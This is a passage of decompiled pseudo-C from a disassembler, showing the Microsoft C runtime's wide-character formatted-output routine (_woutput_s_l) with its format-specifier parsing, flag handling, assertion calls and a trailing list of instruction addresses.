																								_t92 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__eax = __ecx + _t92;
																								 *(__ebp - 0x30) = __ecx + _t92;
																							} else {
																								__eax = __ebp + 0x14;
																								 *(__ebp - 0x30) = E00B93D50(__ebp + 0x14);
																								if( *(__ebp - 0x30) < 0) {
																									 *(__ebp - 0x30) = 0xffffffff;
																								}
																							}
																							goto L214;
																						case 6:
																							L41:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e8) = __ecx;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							if( *(__ebp - 0x4e8) > 0x2e) {
																								L64:
																								goto L214;
																							}
																							L42:
																							_t100 =  *(__ebp - 0x4e8) + 0xb970a4; // 0x68b19003
																							__ecx =  *_t100 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M00B97090))) {
																								case 0:
																									L47:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																										L50:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																										if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																											L53:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x64) {
																												L59:
																												L61:
																												goto L64;
																											}
																											L54:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x69) {
																												goto L59;
																											}
																											L55:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																												goto L59;
																											}
																											L56:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x75) {
																												goto L59;
																											}
																											L57:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x78) {
																												goto L59;
																											}
																											L58:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																												 *(__ebp - 0x45c) = 0;
																												goto L18;
																											}
																											goto L59;
																										}
																										L51:
																										__eax =  *(__ebp + 0xc);
																										__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																										if(__ecx != 0x32) {
																											goto L53;
																										} else {
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											goto L61;
																										}
																									}
																									L48:
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																									if(__ecx != 0x34) {
																										goto L50;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										goto L61;
																									}
																								case 1:
																									L62:
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000020;
																									 *(__ebp - 0x10) = __ecx;
																									goto L64;
																								case 2:
																									L43:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																									} else {
																										__ecx =  *(__ebp + 0xc);
																										__ecx =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) = __ecx;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									}
																									goto L64;
																								case 3:
																									L63:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									goto L64;
																								case 4:
																									goto L64;
																							}
																						case 7:
																							goto L65;
																						case 8:
																							L24:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000002;
																							 *(__ebp - 0x10) = __ecx;
																							goto L27;
																						case 9:
																							L25:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							goto L27;
																						case 0xa:
																							L23:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							goto L27;
																						case 0xb:
																							L22:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							goto L27;
																						case 0xc:
																							L26:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							goto L27;
																						case 0xd:
																							L27:
																							goto L214;
																					}
																				} else {
																					_t640 = 0;
																					if(0 == 0) {
																						 *(_t672 - 0x4dc) = 0;
																					} else {
																						 *(_t672 - 0x4dc) = 1;
																					}
																					 *(_t672 - 0x46c) =  *(_t672 - 0x4dc);
																					if( *(_t672 - 0x46c) == 0) {
																						_push( &M00B77C38);
																						_push(0);
																						_push(0x460);
																						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																						_push(2);
																						_t517 = L00B7D760();
																						_t675 = _t675 + 0x14;
																						if(_t517 == 1) {
																							asm("int3");
																						}
																					}
																					L14:
																					if( *(_t672 - 0x46c) != 0) {
																						goto L16;
																					} else {
																						 *((intOrPtr*)(L00B80C60(_t586))) = 0x16;
																						E00B809F0(_t565, _t586, _t670, _t671,  &M00B77C38, L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																						 *(_t672 - 0x4c8) = 0xffffffff;
																						E00B7C650(_t672 - 0x40);
																						_t502 =  *(_t672 - 0x4c8);
																						L225:
																						return E00B805D0(_t502, _t565,  *(_t672 - 0x48) ^ _t672, _t640, _t670, _t671);
																					}
																				}
																			}
																			L215:
																			if( *(_t672 - 0x45c) == 0 ||  *(_t672 - 0x45c) == 7) {
																				 *(_t672 - 0x4f8) = 1;
																			} else {
																				 *(_t672 - 0x4f8) = 0;
																			}
																			_t640 =  *(_t672 - 0x4f8);
																			 *(_t672 - 0x4bc) =  *(_t672 - 0x4f8);
																			if( *(_t672 - 0x4bc) == 0) {
																				_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
																				_push(0);
																				_push(0x8f5);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				_t507 = L00B7D760();
																				_t675 = _t675 + 0x14;
																				if(_t507 == 1) {
																					asm("int3");
																				}
																			}
																			if( *(_t672 - 0x4bc) != 0) {
																				 *(_t672 - 0x4d4) =  *(_t672 - 0x44c);
																				E00B7C650(_t672 - 0x40);
																				_t502 =  *(_t672 - 0x4d4);
																			} else {
																				 *((intOrPtr*)(L00B80C60(_t578))) = 0x16;
																				E00B809F0(_t565, _t578, _t670, _t671, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
																				 *(_t672 - 0x4d0) = 0xffffffff;
																				E00B7C650(_t672 - 0x40);
																				_t502 =  *(_t672 - 0x4d0);
																			}
																			goto L225;
																		}
																		L188:
																		if(( *(_t672 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t672 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t672 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t672 - 0x10) & 0x00000002) != 0) {
																						 *((short*)(_t672 - 0x14)) = 0x20;
																						 *(_t672 - 0x1c) = 1;
																					}
																				} else {
																					 *((short*)(_t672 - 0x14)) = 0x2b;
																					 *(_t672 - 0x1c) = 1;
																				}
																			} else {
																				 *((short*)(_t672 - 0x14)) = 0x2d;
																				 *(_t672 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t672 - 0x4ac)) =  *((intOrPtr*)(_t672 - 0x18)) -  *((intOrPtr*)(_t672 - 0x24)) -  *(_t672 - 0x1c);
																		if(( *(_t672 - 0x10) & 0x0000000c) == 0) {
																			E00B971B0(0x20,  *((intOrPtr*)(_t672 - 0x4ac)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																			_t675 = _t675 + 0x10;
																		}
																		E00B971F0( *(_t672 - 0x1c), _t672 - 0x14,  *(_t672 - 0x1c),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																		_t675 = _t675 + 0x10;
																		if(( *(_t672 - 0x10) & 0x00000008) != 0 && ( *(_t672 - 0x10) & 0x00000004) == 0) {
																			E00B971B0(0x30,  *((intOrPtr*)(_t672 - 0x4ac)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																			_t675 = _t675 + 0x10;
																		}
																		if( *(_t672 - 0xc) != 0 ||  *((intOrPtr*)(_t672 - 0x24)) <= 0) {
																			L208:
																			E00B971F0( *((intOrPtr*)(_t672 - 0x24)),  *((intOrPtr*)(_t672 - 4)),  *((intOrPtr*)(_t672 - 0x24)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																			_t675 = _t675 + 0x10;
																			goto L209;
																		} else {
																			L202:
																			 *((intOrPtr*)(_t672 - 0x4b0)) =  *((intOrPtr*)(_t672 - 4));
																			 *((intOrPtr*)(_t672 - 0x4b4)) =  *((intOrPtr*)(_t672 - 0x24));
																			while(1) {
																				L203:
																				 *((intOrPtr*)(_t672 - 0x4b4)) =  *((intOrPtr*)(_t672 - 0x4b4)) - 1;
																				if( *((intOrPtr*)(_t672 - 0x4b4)) <= 0) {
																					break;
																				}
																				L204:
																				_t535 = E00B7C680(_t672 - 0x40);
																				_t539 = E00B90E50(_t672 - 0x458,  *((intOrPtr*)(_t672 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E00B7C680(_t672 - 0x40))) + 0xac)), _t535);
																				_t675 = _t675 + 0x10;
																				 *((intOrPtr*)(_t672 - 0x4b8)) = _t539;
																				if( *((intOrPtr*)(_t672 - 0x4b8)) > 0) {
																					L206:
																					E00B97150( *(_t672 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																					_t675 = _t675 + 0xc;
																					 *((intOrPtr*)(_t672 - 0x4b0)) =  *((intOrPtr*)(_t672 - 0x4b0)) +  *((intOrPtr*)(_t672 - 0x4b8));
																					continue;
																				}
																				L205:
																				 *(_t672 - 0x44c) = 0xffffffff;
																				break;
																			}
																			L207:
																			L209:
																			if( *(_t672 - 0x44c) >= 0 && ( *(_t672 - 0x10) & 0x00000004) != 0) {
																				E00B971B0(0x20,  *((intOrPtr*)(_t672 - 0x4ac)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																				_t675 = _t675 + 0x10;
																			}
																			goto L212;
																		}
																		L65:
																		__eax =  *(__ebp - 0x454) & 0x0000ffff;
																		 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																		__ecx =  *(__ebp - 0x4ec);
																		__ecx =  *(__ebp - 0x4ec) - 0x41;
																		 *(__ebp - 0x4ec) = __ecx;
																	} while ( *(__ebp - 0x4ec) > 0x37);
																	__edx =  *(__ebp - 0x4ec);
																	_t141 = __edx + 0xb97110; // 0xcccccc0d
																	__eax =  *_t141 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t141 & 0x000000ff) * 4 +  &M00B970D4))) {
																		case 0:
																			L120:
																			 *(__ebp - 0x2c) = 1;
																			 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			 *(__ebp - 0x454) = __ax;
																			goto L121;
																		case 1:
																			L67:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			}
																			goto L69;
																		case 2:
																			L82:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			}
																			goto L84;
																		case 3:
																			L143:
																			 *((intOrPtr*)(__ebp - 0x460)) = 7;
																			goto L145;
																		case 4:
																			L75:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x474) = E00B93D50(__ebp + 0x14);
																			if( *(__ebp - 0x474) == 0) {
																				L77:
																				__edx =  *0xd121a0; // 0xb775a0
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E00B805E0( *(__ebp - 4));
																				L81:
																				goto L187;
																			}
																			L76:
																			__ecx =  *(__ebp - 0x474);
																			if( *((intOrPtr*)( *(__ebp - 0x474) + 4)) != 0) {
																				L78:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L81;
																			}
																			goto L77;
																		case 5:
																			L121:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L123:
																				if( *(__ebp - 0x30) != 0) {
																					L126:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L128:
																					if( *(__ebp - 0x30) > 0xa3) {
																						__ecx =  *(__ebp - 0x30);
																						__ecx =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L00B7DEA0( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__edx =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__edx =  *(__ebp + 0x14);
																					__eax =  *(__edx - 8);
																					__ecx =  *(__edx - 4);
																					 *(__ebp - 0x490) =  *(__edx - 8);
																					 *(__ebp - 0x48c) =  *(__edx - 4);
																					__ecx = __ebp - 0x40;
																					_push(E00B7C680(__ebp - 0x40));
																					__edx =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__eax =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__ecx =  *(__ebp - 0x454);
																					_push( *(__ebp - 0x454));
																					__edx =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx = __ebp - 0x490;
																					_push(__ebp - 0x490);
																					__edx =  *0xd12188; // 0xddc09d6c
																					E00B849C0(__edx) =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E00B7C680(__ebp - 0x40));
																						__ecx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__edx =  *0xd12194; // 0xddc09d6c
																						E00B849C0(__edx) =  *__eax();
																						__esp = __esp + 8;
																					}
																					__eax =  *(__ebp - 0x454) & 0x0000ffff;
																					if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E00B7C680(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0xd12190; // 0xddc09d6c
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *(__ebp - 4);
																					__edx =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__edx =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E00B805E0( *(__ebp - 4));
																					goto L187;
																				}
																				L124:
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																					goto L126;
																				}
																				L125:
																				 *(__ebp - 0x30) = 1;
																				goto L128;
																			}
																			L122:
																			 *(__ebp - 0x30) = 6;
																			goto L128;
																		case 6:
																			L69:
																			 *(__ebp - 0xc) = 1;
																			__ebp + 0x14 = E00B93D50(__ebp + 0x14);
																			 *(__ebp - 0x458) = __ax;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			if(__ecx == 0) {
																				 *(__ebp - 0x448) =  *(__ebp - 0x458);
																			} else {
																				 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																				 *(__ebp - 0x470) = __dl;
																				 *((char*)(__ebp - 0x46f)) = 0;
																				__ecx = __ebp - 0x40;
																				__eax = E00B7C680(__ebp - 0x40);
																				__ecx = __ebp - 0x40;
																				E00B7C680(__ebp - 0x40) =  *__eax;
																				__ecx =  *(__ebp - 0x448 + 0xac);
																				__edx = __ebp - 0x470;
																				__eax = __ebp - 0x448;
																				if(E00B90E50(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448) < 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x24) = 1;
																			goto L187;
																		case 7:
																			L141:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L150;
																		case 8:
																			L106:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x484) = E00B93D50(__ebp + 0x14);
																			if(E00B97280() != 0) {
																				L116:
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0x00000020;
																				if(__ecx == 0) {
																					__ecx =  *(__ebp - 0x484);
																					__edx =  *(__ebp - 0x44c);
																					 *__ecx =  *(__ebp - 0x44c);
																				} else {
																					__edx =  *(__ebp - 0x484);
																					__ax =  *(__ebp - 0x44c);
																					 *( *(__ebp - 0x484)) = __ax;
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L187;
																			}
																			L107:
																			__ecx = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x4f4) = 0;
																			} else {
																				 *(__ebp - 0x4f4) = 1;
																			}
																			__edx =  *(__ebp - 0x4f4);
																			 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																			if( *(__ebp - 0x488) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L00B7D760();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x488) != 0) {
																				L115:
																				goto L187;
																			} else {
																				L114:
																				 *((intOrPtr*)(L00B80C60(__ecx))) = 0x16;
																				__eax = E00B809F0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x4cc) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E00B7C650(__ecx);
																				__eax =  *(__ebp - 0x4cc);
																				goto L225;
																			}
																		case 9:
																			L148:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L150;
																		case 0xa:
																			L142:
																			 *(__ebp - 0x30) = 8;
																			goto L143;
																		case 0xb:
																			L84:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x4f0) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x4f0);
																			 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00B93D50(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				L98:
																				if( *(__ebp - 4) == 0) {
																					__ecx =  *0xd121a4; // 0xb77590
																					 *(__ebp - 4) = __ecx;
																				}
																				 *(__ebp - 0xc) = 1;
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x480) =  *(__ebp - 4);
																				while(1) {
																					L101:
																					__eax =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c) - 1;
																					 *(__ebp - 0x47c) = __ecx;
																					if( *(__ebp - 0x47c) == 0) {
																						break;
																					}
																					L102:
																					__edx =  *(__ebp - 0x480);
																					__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L103:
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																				}
																				L104:
																				 *(__ebp - 0x480) =  *(__ebp - 0x480) -  *(__ebp - 4);
																				__edx =  *(__ebp - 0x480) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) =  *(__ebp - 0x480) -  *(__ebp - 4) >> 1;
																				goto L105;
																			} else {
																				L88:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0xd121a0; // 0xb775a0
																					 *(__ebp - 4) = __eax;
																				}
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x478) = __ecx;
																				 *(__ebp - 0x24) = 0;
																				while(1) {
																					L92:
																					__eax =  *(__ebp - 0x24);
																					if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																						break;
																					}
																					L93:
																					__ecx =  *(__ebp - 0x478);
																					__edx =  *__ecx;
																					if( *__ecx == 0) {
																						break;
																					}
																					L94:
																					__ecx = __ebp - 0x40;
																					E00B7C680(__ebp - 0x40) =  *(__ebp - 0x478);
																					__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																					if(E00B91090( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478)) != 0) {
																						 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																						 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					}
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x24) =  *(__ebp - 0x24) + 1;
																					 *(__ebp - 0x24) =  *(__ebp - 0x24) + 1;
																				}
																				L97:
																				L105:
																				goto L187;
																			}
																		case 0xc:
																			goto L0;
																		case 0xd:
																			L144:
																			 *((intOrPtr*)(__ebp - 0x460)) = 0x27;
																			L145:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx = 0x30;
																				 *((short*)(__ebp - 0x14)) = __dx;
																				 *((intOrPtr*)(__ebp - 0x460)) =  *((intOrPtr*)(__ebp - 0x460)) + 0x51;
																				 *(__ebp - 0x12) = __ax;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L150;
																		case 0xe:
																			goto L187;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x00b96a6d
0x00b96a6d
0x00b96a6d
0x00b96a6d
0x00b96a6d
0x00000000
0x00b96ae2
0x00000000
0x00b96ae2
0x00000000
0x00b96ae2
0x00b96ae2
0x00b96aea
0x00b96b0c
0x00b96b12
0x00b96b37
0x00b96b7e
0x00b96b81
0x00b96ba2
0x00b96ba7
0x00b96bac
0x00b96bb2
0x00b96b83
0x00b96b87
0x00b96b8c
0x00b96b8f
0x00b96b90
0x00b96b96
0x00b96b96
0x00b96b39
0x00b96b3c
0x00b96b3f
0x00b96b61
0x00b96b66
0x00b96b6c
0x00b96b6d
0x00b96b73
0x00b96b41
0x00b96b45
0x00b96b4a
0x00b96b4e
0x00b96b4f
0x00b96b55
0x00b96b55
0x00b96b79
0x00b96b14
0x00b96b18
0x00b96b1d
0x00b96b20
0x00b96b26
0x00b96b26
0x00b96aec
0x00b96af0
0x00b96af5
0x00b96af8
0x00b96afe
0x00b96afe
0x00b96bbe
0x00b96c00
0x00b96c06
0x00b96c12
0x00000000
0x00b96bc0
0x00b96bc0
0x00b96bc0
0x00b96bc7
0x00000000
0x00b96bd4
0x00b96bd4
0x00b96be2
0x00b96be7
0x00b96bed
0x00b96bfb
0x00b96c18
0x00b96c20
0x00b96c42
0x00b96c42
0x00b96c4c
0x00b96c5d
0x00b96c67
0x00b96c69
0x00b96c69
0x00b96c4e
0x00b96c4e
0x00b96c4e
0x00b96c7c
0x00b96c7e
0x00b96c7e
0x00b96c8b
0x00b96c8e
0x00b96c8e
0x00b96c94
0x00b96c97
0x00b96c9c
0x00000000
0x00000000
0x00b96cac
0x00b96caf
0x00b96cb9
0x00b96cc8
0x00b96cd1
0x00b96ce7
0x00b96ced
0x00b96cfa
0x00b96d08
0x00b96d08
0x00b96d17
0x00b96d1f
0x00b96d1f
0x00b96d27
0x00b96d30
0x00b96d39
0x00b96d45
0x00b96d5e
0x00b96d64
0x00b96d6d
0x00b96d6d
0x00000000
0x00b96d70
0x00000000
0x00b96d70
0x00000000
0x00b96d70
0x00000000
0x00b96d70
0x00000000
0x00b96d70
0x00000000
0x00b96d70
0x00000000
0x00b96d70
0x00b96d70
0x00b96d70
0x00b96d74
0x00b96f50
0x00b96f54
0x00b96f5c
0x00b96f61
0x00b96f64
0x00b96f64
0x00b96f6b
0x00b96f6b
0x00b960eb
0x00b960f2
0x00b960ff
0x00b96104
0x00000000
0x00b96117
0x00b96121
0x00b96148
0x00b9612f
0x00b96140
0x00b96140
0x00b96121
0x00b96152
0x00b96158
0x00b96164
0x00b96167
0x00b96175
0x00b96178
0x00b96185
0x00b9622a
0x00b96230
0x00b9623d
0x00000000
0x00000000
0x00b96243
0x00b96249
0x00000000
0x00b96250
0x00b96250
0x00b9626a
0x00b9626f
0x00000000
0x00000000
0x00b96277
0x00b96277
0x00b9627e
0x00b96281
0x00b96284
0x00b96287
0x00b9628a
0x00b9628d
0x00b96290
0x00b96297
0x00b9629e
0x00000000
0x00000000
0x00b962aa
0x00b962aa
0x00b962b1
0x00b962bd
0x00b962c0
0x00b962cd
0x00000000
0x00000000
0x00b962cf
0x00b962d5
0x00b962d5
0x00b962dc
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
